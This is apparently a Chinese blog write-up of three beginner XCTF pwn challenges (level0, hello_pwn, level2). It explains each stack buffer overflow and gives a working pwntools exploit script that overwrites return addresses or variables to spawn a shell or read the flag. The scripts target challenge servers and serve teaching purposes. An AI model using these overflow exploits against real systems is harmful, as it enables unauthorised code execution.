Featured image of post Pwn-level0-hello_pwn-level2

Pwn-level0-hello_pwn-level2

level0

一道缓冲区溢出题。
位于 xctf 的 pwn 题 level0。
首先检查附件信息:

64 位 ELF 程序。然后丢到 ida 进行反编译。
main 函数如下,很简单,标准输出 Hello World\n 就进入 vulnerable_function 函数

1
2
3
4
5
int __fastcall main(int argc, const char **argv, const char **envp)
{
  write(1, "Hello, World\n", 0xDu);
  return vulnerable_function(1);
}

vulnerable_function 函数反编译如下:

1
2
3
4
5
6
ssize_t vulnerable_function()
{
  _BYTE buf[128]; // [rsp+0h] [rbp-80h] BYREF

  return read(0, buf, 0x200u);
}

buf 只有 0x80(128) 字节空间,却读了 200 字节的空间。显然溢出了。
查看函数栈空间,发现:

1
2
3
-0000000000000080     _BYTE buf[128];
+0000000000000000     _QWORD __saved_registers;
+0000000000000008     _UNKNOWN *__return_address;

在数组结束后 0x000 后马上就到返回地址。这个返回值可以跳到任何我们想去的地方。
然后再看函数表发现了 callsystem 函数:

1
2
3
4
int callsystem()
{
  return system("/bin/sh");
}

直接就给了 shell。

挺直接的,有种给你喂饭的感觉。

事到如此,我们只需要溢出到这个返回地址,让他调到 callsystem 就拿到 shell 了。
通过 gdb 获得 callsystem 的地址:
首先对 main 函数打断点并运行: 直接获得 callsystem 函数的地址。
接下来就是用 pwntools 进行处理:

1
2
3
4
5
6
from pwn import *
p = remote("61.147.171.105", 53496)  # 连接服务器
payload = b'A' * 0x80 + b'a' * 0x8 + p64(0x0400596) # 构造攻击载荷
p.recvuntil("Hello, World\n") # 直到接受到目标数据后
p.sendline(payload) # 发送数据
p.interactive() # 开启一个交互式对话

remote() 函数连接到服务器。

1
payload = b'A' * 0x80 + b'a' * 0x8 + p64(0x0400596) # 构造攻击载荷

这边构造攻击载荷,首先 0x80 个 A 字符塞满字符串,然后用 0x8 个字符覆盖与返回地址间的 8 个字节空间。用 p64() 函数将 callsystem 地址转换为小短序的字节串,这个操作能够覆盖原本函数栈的返回地址,让我们跳到目标函数地址内。
注意这里字符前面加 b 确定类型,不然会报错。
recvuntil() 函数等待到前面 Hello, World 读了之后再填入载荷。
使用 sendline 发送载荷
通过 interactive() 获得 shell
运行后进入 shell 就能获得 flag 啦!

hello_pwn

同样的,也是缓冲区溢出。
main 函数反汇编后显而易见:
先看看 sub_400686 函数有什么:

1
2
3
4
5
__int64 sub_400686()
{
  system("cat flag.txt");
  return 0;
}

没有想到直接就给了…… 那么还说什么呢,只要能够把 dword_60106C 变成对应的数据就可以了。关键就在于覆盖数据。
分析 main 发现,read 函数输入了 16 (0x10)字节数据,但是 unk_601068 和 dword_60106C 之间只差了 4 个字节!!!
那么就好办了,直接上 pwntools:

1
2
3
4
5
6
from pwn import *
p = remote("61.147.171.105", 61296)
payload = b'a' * (0x6c-0x68) + p64(0x6E756161)
p.recvuntil("lets get helloworld for bof\n");
p.sendline(payload)
p.interactive()

用 4 个 a 覆盖掉这些数据,然后接着把 dword_60106C 变成 015635260541 十六进制是 0x6E756161
注意到是这个数据字符串是 nuaa ,但是如果要以字符串覆盖,需要注意小端序,也就是要写成 'aaun
这样就如愿以偿拿到 flag 咯!

level2

栈溢出题。
这里需要重新构造函数的调用栈。
使用 file 查看程序信息,发现是 32 位 elf。
反编译 main 函数:

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function();
  system("echo 'Hello World!'");
  return 0;
}

函数执行了 vulnerable_function 函数后使用 system 输出 Hello World。
vulnerable_function 函数内有溢出漏洞:

1
2
3
4
5
6
7
ssize_t vulnerable_function()
{
  _BYTE buf[136]; // [esp+0h] [ebp-88h] BYREF

  system("echo Input:");
  return read(0, buf, 0x100u);
}

这里 buf 只有 0x88 ,而可以输入 0x100 数据。
查看函数栈可以发现 buf 数组后面就是返回:
那么我就可以通过这个返回跳到 system 函数中去,然后伪造一个函数调用栈调用 shell。
在 ida pro 中按 shift + F12 查看字符串,发现在 .data 段居然有 shell 路径!
那不就好办了吗,首先需要知道怎么伪造函数调用栈。
这里数组后面就是整个调用栈的空间,首先是栈帧基址 eb/p 占用 4 个字节,之后是函数返回地址。
而后还有 system 返回地址然后才是 system 的参数。
system 的地址在这里查看 最后上 pwntools:

1
2
3
4
5
from pwn import *
p = remote("61.147.171.105", 61959)
payload = b'a' * 0x88 + b'a' * 0x4 + p32(0x8048320) + p32(0) + p32(0x804A024)
p.sendline(payload)
p.interactive()

这里 0x8048320 是 system 函数的地址,x804A024 是 /bin/sh 字符串的地址。

不过这道题还是需要有函数调用栈的汇编基础,这样理解还是不够透彻的。

萌ICP备20241614号